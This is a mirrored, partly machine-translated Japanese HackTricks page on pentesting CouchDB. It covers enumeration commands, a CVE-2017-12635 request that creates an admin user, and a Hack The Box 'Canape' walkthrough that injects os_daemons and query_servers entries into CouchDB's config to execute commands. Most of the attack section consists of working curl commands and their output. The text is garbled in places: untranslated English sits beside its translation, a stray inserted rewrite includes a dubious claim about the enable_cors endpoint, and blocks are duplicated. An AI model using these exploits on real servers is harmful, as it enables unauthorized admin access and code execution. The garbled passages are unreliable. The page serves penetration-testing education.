mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
500 lines
32 KiB
Markdown
500 lines
32 KiB
Markdown
# 5984, 6984 - CouchDBのペンテスト
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
|
||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
|
||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
|
||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
|
||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||
|
||
</details>
|
||
|
||
## **基本情報**
|
||
|
||
CouchDBはドキュメント指向のデータベースであり、各ドキュメント内のフィールドはキーと値のマップとして格納されます。フィールドは単純なキー/値のペア、リスト、またはマップのいずれかであることができます。
|
||
|
||
データベースに格納される各ドキュメントには、ドキュメントレベルの一意の識別子(`_id`)と、データベースに行われた変更ごとに保存されるリビジョン(`_rev`)番号が付けられます。
|
||
|
||
**デフォルトポート:** 5984 (http), 6984 (https)
|
||
```
|
||
PORT STATE SERVICE REASON
|
||
5984/tcp open unknown syn-ack
|
||
```
|
||
## **自動列挙**
|
||
|
||
Automatic enumeration is a technique used in pentesting to gather information about a target system without manual intervention. It involves using tools and scripts to scan the target system and retrieve information such as open ports, running services, and version numbers.
|
||
|
||
自動列挙は、手動の介入なしでターゲットシステムに関する情報を収集するためのペンテスト技術です。ツールやスクリプトを使用して、ターゲットシステムをスキャンし、オープンポート、実行中のサービス、バージョン番号などの情報を取得することが含まれます。
|
||
|
||
### **Tools for Automatic Enumeration**
|
||
|
||
#### **Nmap**
|
||
|
||
Nmap is a popular tool used for network scanning and enumeration. It can be used to discover open ports, running services, and operating system details of a target system.
|
||
|
||
### **自動列挙のためのツール**
|
||
|
||
#### **Nmap**
|
||
|
||
Nmapは、ネットワークスキャンと列挙に使用される人気のあるツールです。ターゲットシステムのオープンポート、実行中のサービス、およびオペレーティングシステムの詳細を発見するために使用することができます。
|
||
|
||
#### **Enum4linux**
|
||
|
||
Enum4linux is a tool specifically designed for enumerating information from Windows and Samba systems. It can retrieve information such as user and group names, shares, and password policies.
|
||
|
||
#### **Enum4linux**
|
||
|
||
Enum4linuxは、WindowsおよびSambaシステムから情報を列挙するために特に設計されたツールです。ユーザー名、グループ名、共有、パスワードポリシーなどの情報を取得することができます。
|
||
|
||
#### **Dirb**
|
||
|
||
Dirb is a web content scanner that can be used to discover hidden directories and files on a web server. It can help in finding sensitive information or potential vulnerabilities.
|
||
|
||
#### **Dirb**
|
||
|
||
Dirbは、ウェブサーバー上の隠れたディレクトリやファイルを発見するために使用されるウェブコンテンツスキャナです。機密情報や潜在的な脆弱性の発見に役立ちます。
|
||
|
||
### **Automated Enumeration Scripts**
|
||
|
||
There are also various automated enumeration scripts available that combine multiple tools and techniques to gather information about a target system. These scripts can save time and effort by automating the enumeration process.
|
||
|
||
### **自動列挙スクリプト**
|
||
|
||
さらに、複数のツールと技術を組み合わせてターゲットシステムに関する情報を収集するためのさまざまな自動列挙スクリプトも利用可能です。これらのスクリプトは、列挙プロセスを自動化することで時間と労力を節約することができます。
|
||
```bash
|
||
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
||
```
|
||
### バナー
|
||
|
||
CouchDBのバージョンを特定するために、以下のコマンドを使用します。
|
||
|
||
```bash
|
||
curl -X GET http://<target>:5984/
|
||
```
|
||
|
||
### マニュアル列挙
|
||
|
||
CouchDBのバージョンを特定するために、以下のコマンドを使用します。
|
||
|
||
```bash
|
||
curl -X GET http://<target>:5984/
|
||
```
|
||
```
|
||
curl http://IP:5984/
|
||
```
|
||
これはインストールされたCouchDBインスタンスにGETリクエストを発行します。応答は以下のいずれかの形式で表示されるはずです。
|
||
```bash
|
||
{"couchdb":"Welcome","version":"0.10.1"}
|
||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||
```
|
||
{% hint style="info" %}
|
||
CouchDBのルートにアクセスすると、次のような`401 Unauthorized`が表示されます: `{"error":"unauthorized","reason":"Authentication required."}` **バナーや他のエンドポイントにアクセスすることはできません**。
|
||
{% endhint %}
|
||
|
||
### 情報の列挙
|
||
|
||
これらは、**GET**リクエストでアクセスし、いくつかの興味深い情報を抽出できるエンドポイントです。[**couchdbのドキュメント**](https://docs.couchdb.org/en/latest/api/index.html)には、より多くのエンドポイントと詳細な説明があります。
|
||
|
||
* **`/_active_tasks`** 実行中のタスクのリスト。タスクのタイプ、名前、ステータス、プロセスIDが含まれます。
|
||
* \*\*`/_all_dbs`\*\*CouchDBインスタンスのすべてのデータベースのリストを返します。
|
||
* \*\*`/_cluster_setup`\*\*クラスタまたはノードのステータスを返します。
|
||
* **`/_db_updates`** CouchDBインスタンスのすべてのデータベースイベントのリストを返します。このエンドポイントを使用するには、`_global_changes`データベースが存在する必要があります。
|
||
* **`/_membership`** クラスタの一部であるノードを`cluster_nodes`として表示します。`all_nodes`フィールドには、クラスタの一部であるノードだけでなく、このノードが知っているすべてのノードが表示されます。
|
||
* **`/_scheduler/jobs`** レプリケーションジョブのリスト。各ジョブの説明には、ソースとターゲットの情報、レプリケーションID、最近のイベントの履歴などが含まれます。
|
||
* **`/_scheduler/docs`** レプリケーションドキュメントの状態のリスト。`completed`および`failed`の状態を含むすべてのドキュメントに関する情報が含まれます。各ドキュメントには、ドキュメントID、データベース、レプリケーションID、ソースとターゲットなどの情報が返されます。
|
||
* **`/_scheduler/docs/{replicator_db}`**
|
||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||
* **`/_node/{node-name}`** `/_node/{node-name}`エンドポイントは、リクエストを処理するサーバーのErlangノード名を確認するために使用できます。これは、この情報を取得するために`/_node/_local`にアクセスする場合に最も役立ちます。
|
||
* **`/_node/{node-name}/_stats`** `_stats`リソースは、実行中のサーバーの統計情報を含むJSONオブジェクトを返します。リテラル文字列`_local`は、ローカルノード名のエイリアスとして機能するため、すべての統計URLでは、`{node-name}`を`_local`に置き換えてローカルノードの統計情報とやり取りすることができます。
|
||
* **`/_node/{node-name}/_system`** `_system`リソースは、実行中のサーバーのさまざまなシステムレベルの統計情報を含むJSONオブジェクトを返します。現在のノード情報を取得するには、`{node-name}`として`_local`を使用できます。
|
||
* **`/_node/{node-name}/_restart`**
|
||
* **`/_up`** サーバーが起動し、実行中でリクエストに応答できることを確認します。[`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode)が`true`または`nolb`の場合、エンドポイントは404の応答を返します。
|
||
* \*\*`/_uuids`\*\*CouchDBインスタンスから1つ以上の一意の識別子(UUID)を要求します。
|
||
* \*\*`/_reshard`\*\*クラスタ上の完了、失敗、実行中、停止、および合計ジョブの数とリシャーディングの状態を返します。
|
||
|
||
ここで説明されているより興味深い情報を抽出する方法については、[こちら](https://lzone.de/cheat-sheet/CouchDB)を参照してください。
|
||
|
||
### **データベースリスト**
|
||
```
|
||
curl -X GET http://IP:5984/_all_dbs
|
||
```
|
||
もしリクエストが401 Unauthorizedで応答する場合、データベースにアクセスするためには有効な認証情報が必要です。
|
||
```
|
||
curl -X GET http://user:password@IP:5984/_all_dbs
|
||
```
|
||
有効な資格情報を見つけるためには、サービスをブルートフォース攻撃することができます。
|
||
|
||
これは、データベースの一覧を表示するために十分な権限を持っている場合のCouchDBのレスポンスの**例**です(ただのデータベースのリストです):
|
||
```bash
|
||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||
```
|
||
### データベース情報
|
||
|
||
データベース名にアクセスすることで、データベースの情報(ファイルの数やサイズなど)を取得することができます。
|
||
```bash
|
||
curl http://IP:5984/<database>
|
||
curl http://localhost:5984/simpsons
|
||
#Example response:
|
||
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
|
||
```
|
||
### **ドキュメントリスト**
|
||
|
||
データベース内の各エントリをリストアップします。
|
||
```bash
|
||
curl -X GET http://IP:5984/{dbname}/_all_docs
|
||
curl http://localhost:5984/simpsons/_all_docs
|
||
#Example response:
|
||
{"total_rows":7,"offset":0,"rows":[
|
||
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
|
||
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
|
||
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
|
||
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
|
||
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
|
||
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
|
||
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
|
||
]}
|
||
```
|
||
### **ドキュメントの読み取り**
|
||
|
||
データベース内のドキュメントの内容を読み取ります。
|
||
```bash
|
||
curl -X GET http://IP:5984/{dbname}/{id}
|
||
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
||
#Example response:
|
||
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
||
```
|
||
## CouchDB特権エスカレーション [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||
|
||
ErlangとJavaScriptのJSONパーサーの違いにより、次のリクエストで資格情報`hacktricks:hacktricks`を持つ**管理者ユーザーを作成**することができます。
|
||
```bash
|
||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||
```
|
||
[**この脆弱性に関する詳細情報はこちら**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||
|
||
## CouchDB RCE
|
||
|
||
### Erlang Cookie
|
||
|
||
CouchDBのドキュメントの[クラスタ設定セクション](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)には、CouchDBが使用する異なるポートについて説明されています:
|
||
|
||
> クラスタモードのCouchDBは、スタンドアロンと同様にポート`5984`を使用しますが、ノードローカルAPIには`5986`も使用します。
|
||
>
|
||
> Erlangは他のノードを見つけるためにTCPポート`4369`(EPMD)を使用するため、すべてのサーバーはこのポートでお互いに通信できる必要があります。Erlangクラスタでは、すべてのノードが他のすべてのノードに接続されています。メッシュです。
|
||
|
||
そして興味深い警告があります:
|
||
|
||
![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png)
|
||
|
||
プロセスリストを見ると、cookieが「monster」であることがわかります。
|
||
```
|
||
www-data@canape:/$ ps aux | grep couchdb
|
||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||
```
|
||
**Erlangsのクッキーを悪用してRCEを取得する方法については、[このセクションを読むことで学ぶことができます](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**。また、[このようなCanape HTBマシンの解説](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)を読んで、この脆弱性をどのように悪用するかを見て、**実践**することもできます。
|
||
|
||
### **local.iniの書き込み権限を持つCVE-2018-8007の成功例**
|
||
|
||
この記事を書いている間に、mdsecからCouchDBの新しいCVEがリリースされたことがわかりました。[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)です。これも`local.ini`ファイルへの書き込みが必要ですので、Canapeには有用なオプションではありません。しかし、既にrootとして書き込み可能にしているので、動作するか試してみましょう。
|
||
|
||
クリーンな状態から始め、書き込み可能な`local.ini`(およびバックアップ)を用意します。
|
||
```
|
||
root@canape:/home/homer/etc# ls -l
|
||
total 40
|
||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
|
||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||
```
|
||
`local.ini`ファイルでオリジンを変更するために、curlを使用することができます。ここでの脆弱性は、curlを使用して新しいオリジンと改行を追加すると、新しいヘッダーや詳細を含む追加の情報を書き込むことができることです。したがって、`[os_daemons]`フィールドを利用し、CouchDBが実行し続けるようにするためのプロセスを追加します。
|
||
```bash
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||
```
|
||
ルートシェルで、私たちはどの変更が見えるかを確認することができます。
|
||
```
|
||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||
119,124d118
|
||
<
|
||
< [cors]
|
||
< origins = 0xdf
|
||
<
|
||
< [os_daemons]
|
||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||
```
|
||
そして、そのファイルは存在しません:
|
||
```
|
||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||
ls: cannot access '/tmp/0xdf': No such file or directory
|
||
```
|
||
もし私たちが「couchdb」を含むコマンドラインで実行されているプロセスを見ると、私たちは以前使用したクッキーの値を提供してくれるコマンドラインだけでなく、`runsrv couchdb`も見ることができます。
|
||
```
|
||
root@canape:/home/homer/bin# ps aux | grep couch
|
||
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
|
||
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
|
||
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
|
||
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
|
||
```
|
||
もし私たちがそのプロセスを終了させると、すぐに復活します(新しいpidに注目してください):
|
||
```
|
||
root@canape:/home/homer/etc# kill 711
|
||
root@canape:/home/homer/etc# ps aux | grep runsrv
|
||
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
|
||
```
|
||
そして、再起動時にはOS\_Daemonsが実行されます:
|
||
```
|
||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||
/tmp/0xdf
|
||
```
|
||
### **ローカル.iniの書き込み権限を利用したCVE-2017-12636による成功した試み**
|
||
|
||
CVE-2017-12636を利用すると、couchdbプロセスを介してコードを実行することができます。ただし、この構成では機能しません。
|
||
|
||
参考となるいくつかのPOCがあります:
|
||
|
||
* [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||
* [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/)
|
||
|
||
新しいquery\_serverを書き込み、それを呼び出す必要があります。Canapeがリリースされた当時、ほとんどのPOCはcouchdb 1.x向けでしたが、このボックスは2を実行しているため、ほとんどのPOCのquery\_serversパスは存在しません。これは変わりましたが、同じ手順を踏みます。まず、バージョンを取得し、1.Xのパスが存在しないことを示します:
|
||
```bash
|
||
www-data@canape:/var/www/git$ curl http://localhost:5984
|
||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||
|
||
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||
{"error":"not_found","reason":"Database does not exist."}
|
||
```
|
||
以下は、ハッキング技術に関する本の内容です。以下の内容は、/hive/hacktricks/network-services-pentesting/5984-pentesting-couchdb.md ファイルからのものです。
|
||
|
||
```markdown
|
||
# Pentesting CouchDB
|
||
|
||
## Introduction
|
||
|
||
CouchDB is a NoSQL database that uses JSON to store data. It is widely used in web applications and provides a RESTful API for data access. In this section, we will explore various techniques for pentesting CouchDB.
|
||
|
||
## Enumeration
|
||
|
||
### Version Detection
|
||
|
||
To determine the version of CouchDB, you can send an HTTP GET request to the `/_utils/` endpoint. The response will include the version number.
|
||
|
||
```bash
|
||
GET /_utils/
|
||
```
|
||
|
||
### Database Enumeration
|
||
|
||
To enumerate the databases in CouchDB, you can send an HTTP GET request to the `/_all_dbs` endpoint. The response will include a list of all the databases.
|
||
|
||
```bash
|
||
GET /_all_dbs
|
||
```
|
||
|
||
## Exploitation
|
||
|
||
### Unauthorized Access
|
||
|
||
CouchDB may have misconfigured permissions, allowing unauthorized access to the databases. You can check if anonymous access is enabled by sending an HTTP GET request to the `/_config/httpd/enable_cors` endpoint. If the response includes `"true"`, anonymous access is enabled.
|
||
|
||
```bash
|
||
GET /_config/httpd/enable_cors
|
||
```
|
||
|
||
### Document Retrieval
|
||
|
||
To retrieve a document from a specific database, you can send an HTTP GET request to the `/{database}/{document_id}` endpoint. Replace `{database}` with the name of the database and `{document_id}` with the ID of the document.
|
||
|
||
```bash
|
||
GET /{database}/{document_id}
|
||
```
|
||
|
||
### Document Modification
|
||
|
||
If you have write access to a database, you can modify a document by sending an HTTP PUT request to the `/{database}/{document_id}` endpoint. Replace `{database}` with the name of the database and `{document_id}` with the ID of the document. Include the updated JSON data in the request body.
|
||
|
||
```bash
|
||
PUT /{database}/{document_id}
|
||
```
|
||
|
||
### Database Creation
|
||
|
||
If you have the necessary permissions, you can create a new database by sending an HTTP PUT request to the `/{database}` endpoint. Replace `{database}` with the name of the new database.
|
||
|
||
```bash
|
||
PUT /{database}
|
||
```
|
||
|
||
## Conclusion
|
||
|
||
In this section, we have covered various techniques for pentesting CouchDB. It is important to properly secure CouchDB installations to prevent unauthorized access and data leaks.
|
||
```
|
||
|
||
新しいパスに更新:
|
||
|
||
```markdown
|
||
# Pentesting CouchDB
|
||
|
||
## Introduction
|
||
|
||
CouchDBは、データを保存するためにJSONを使用するNoSQLデータベースです。Webアプリケーションで広く使用され、データアクセスのためのRESTful APIを提供しています。このセクションでは、CouchDBのペントテストのさまざまな技術について調査します。
|
||
|
||
## Enumeration
|
||
|
||
### Version Detection
|
||
|
||
CouchDBのバージョンを特定するには、`/_utils/` エンドポイントにHTTP GETリクエストを送信します。レスポンスにはバージョン番号が含まれます。
|
||
|
||
```bash
|
||
GET /_utils/
|
||
```
|
||
|
||
### Database Enumeration
|
||
|
||
CouchDBのデータベースを列挙するには、`/_all_dbs` エンドポイントにHTTP GETリクエストを送信します。レスポンスにはすべてのデータベースのリストが含まれます。
|
||
|
||
```bash
|
||
GET /_all_dbs
|
||
```
|
||
|
||
## Exploitation
|
||
|
||
### Unauthorized Access
|
||
|
||
CouchDBは、誤った許可設定により、データベースへの不正なアクセスが許可される場合があります。匿名アクセスが有効化されているかどうかを確認するには、`/_config/httpd/enable_cors` エンドポイントにHTTP GETリクエストを送信します。レスポンスに `"true"` が含まれている場合、匿名アクセスが有効化されています。
|
||
|
||
```bash
|
||
GET /_config/httpd/enable_cors
|
||
```
|
||
|
||
### Document Retrieval
|
||
|
||
特定のデータベースからドキュメントを取得するには、`/{database}/{document_id}` エンドポイントにHTTP GETリクエストを送信します。`{database}` をデータベースの名前、`{document_id}` をドキュメントのIDに置き換えます。
|
||
|
||
```bash
|
||
GET /{database}/{document_id}
|
||
```
|
||
|
||
### Document Modification
|
||
|
||
データベースへの書き込みアクセス権がある場合、HTTP PUTリクエストを `/{database}/{document_id}` エンドポイントに送信することで、ドキュメントを変更できます。`{database}` をデータベースの名前、`{document_id}` をドキュメントのIDに置き換えます。リクエストボディに更新されたJSONデータを含めます。
|
||
|
||
```bash
|
||
PUT /{database}/{document_id}
|
||
```
|
||
|
||
### Database Creation
|
||
|
||
必要な権限がある場合、新しいデータベースを作成するには、HTTP PUTリクエストを `/{database}` エンドポイントに送信します。`{database}` を新しいデータベースの名前に置き換えます。
|
||
|
||
```bash
|
||
PUT /{database}
|
||
```
|
||
|
||
## Conclusion
|
||
|
||
このセクションでは、CouchDBのペントテストのさまざまな技術をカバーしました。不正なアクセスやデータの漏洩を防ぐために、CouchDBのインストールを適切にセキュアにすることが重要です。
|
||
```
|
||
```bash
|
||
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
|
||
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
|
||
|
||
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
|
||
```
|
||
そこから、query\_serverを追加してそれを呼び出す必要がありますが、私たちはそれができません。
|
||
```bash
|
||
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
|
||
```
|
||
いくつかのGoogle検索結果から、これは権限の問題であることがわかります。実際に、rootシェルで確認すると、`local.ini`ファイルは誰にも書き込み権限がありません。特にwww-dataユーザーにもありません。
|
||
```
|
||
root@canape:/home/home/etc# ls -ls local.ini
|
||
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
|
||
```
|
||
それでは、Canapeは行き詰まりです。しかし、動作させるために試みたい場合は、rootまたはhomerアクセスで読み取り可能にすることができ、この経路を続けることができます。変更内容を確認するために、元のバックアップを作成します。
|
||
```
|
||
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||
root@canape:/# chmod 666 /home/homer/etc/local.ini
|
||
```
|
||
さて、www-dataシェルに戻りましょう:
|
||
```bash
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||
""
|
||
```
|
||
|
||
```
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||
""
|
||
```
|
||
前の値を取得することで、cmdクエリーサーバーが成功したことがわかります。そして、ルートシェルでは、それが機能したことが確認できます。
|
||
```
|
||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||
48c48
|
||
< cmd = /sbin/ifconfig > /tmp/df
|
||
---
|
||
> cmd =
|
||
```
|
||
今、私たちはdbを作成し、そのdb内にドキュメントを作成し、クエリ\_サーバーにマップされたビューを使用してリクエストを実行できるはずです。
|
||
|
||
dbとドキュメントを作成する:
|
||
```bash
|
||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||
{"ok":true}
|
||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
|
||
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
|
||
```
|
||
|
||
```
|
||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||
{"ok":true}
|
||
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
|
||
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
|
||
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
|
||
```
|
||
ビューでリクエストしてください:
|
||
```bash
|
||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
|
||
```
|
||
#### [要約](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) - 異なるペイロード
|
||
|
||
## Shodan
|
||
|
||
* `port:5984 couchdb`
|
||
|
||
## 参考文献
|
||
|
||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
|
||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
|
||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
|
||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
